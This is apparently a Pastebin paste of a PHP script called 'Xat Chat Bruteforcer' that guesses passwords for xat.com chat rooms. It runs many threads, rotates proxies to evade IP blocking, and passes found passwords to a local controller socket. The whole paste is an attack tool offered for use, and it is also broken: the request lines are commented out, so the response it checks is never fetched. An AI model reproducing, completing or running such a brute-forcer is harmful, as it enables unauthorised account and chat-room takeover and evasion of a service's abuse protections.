Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- error_reporting(E_ALL);
- //xatech.com/web_gear/chat/auser3.php
- echo "Xat Chat Bruteforcer by Hundrea aka Kronos \n";
- echo "Type To Start! \n";
- $pick=fgets(STDIN);
- echo "How many threads do you want?(The more the faster!)\n";
- $numofThreads = fgets(STDIN);
- $numofThreads=(int)$numofThreads;
- class attack extends Thread{
- public static $chatid;
- public static $file ="storage.txt";
- public $objects;
- public $fp;
- public function SocketGet($message){
- $this->fp = fsockopen ("localhost",4317, $errno, $errstr);
- while(!$this->fp){
- $this->fp = fsockopen ("localhost",4317, $errno, $errstr);
- }
- fwrite($this->fp,$message);
- sleep(2);
- return fread($this->fp,1000);
- }
- public function __construct(){
- self::$chatid=$this->SocketGet("ID");
- }
- public function run(){
- for($blahn=0;$blahn<2;){
- $x=$this->SocketGet("Number");
- $Proxyx=$this->SocketGet("Proxy");
- $aProxy = array(
- 'http' => array(
- 'proxy' => 'tcp://'.$Proxyx,//tcp://192.168.0.2:3128
- 'request_fulluri' => true,
- ),
- );
- $threadid=$this->getThreadId();
- $proxystream = stream_context_create($aProxy);
- echo "--> Thread id :$threadid: Using Proxy ".$Proxyx."\n";
- $urlstring='http://xat.com/web_gear/chat.php?id='.self::$chatid.'&pw='.$x;
- echo "--> Thread id :$threadid: Getting http://xat.com/web_gear/chat.php?id=".self::$chatid."&pw=".$x."\n";
- //$htmldata =file_get_contents(str_replace("\n","",$urlstring));
- //$htmldata =file_get_contents(str_replace("\n","",$urlstring),False,$proxystream);
- //$htmldata =file_get_contents("http://xat.com/web_gear/chat.php?id=158602168&pw=296756942");
- echo "--> Thread id :$threadid: Checking If Correct -->"."\n";
- if(strpos($htmldata,"http://xat.com/web_gear/chat.php?id="))
- {
- echo "--> Passfound Success!\n\n";
- $this->SocketGet("Success/xz/$urlstring");
- exit();
- }
- else if(strpos($htmldata,"not found"))
- {
- echo $urlstring;
- $return="--> Thread id :$threadid: Wrong Pass\n\n";
- }
- else if(strpos($htmldata,"Try again in"))
- {
- $return="--> Thread id :$threadid: Server blocked ip\n\n";
- $this->SocketGet("Timeout");
- }
- else{
- $return="--> Unknown Error\n\n";
- $this->SocketGet("Timeout");file_put_contents("storage.txt",$urlstring);
- }
- echo $return;
- }
- }}
- for($Createnumber=0;$Createnumber<$numofThreads;$Createnumber++){
- $attackthread[$Createnumber]=new attack();
- $attackthread[$Createnumber]->start();
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement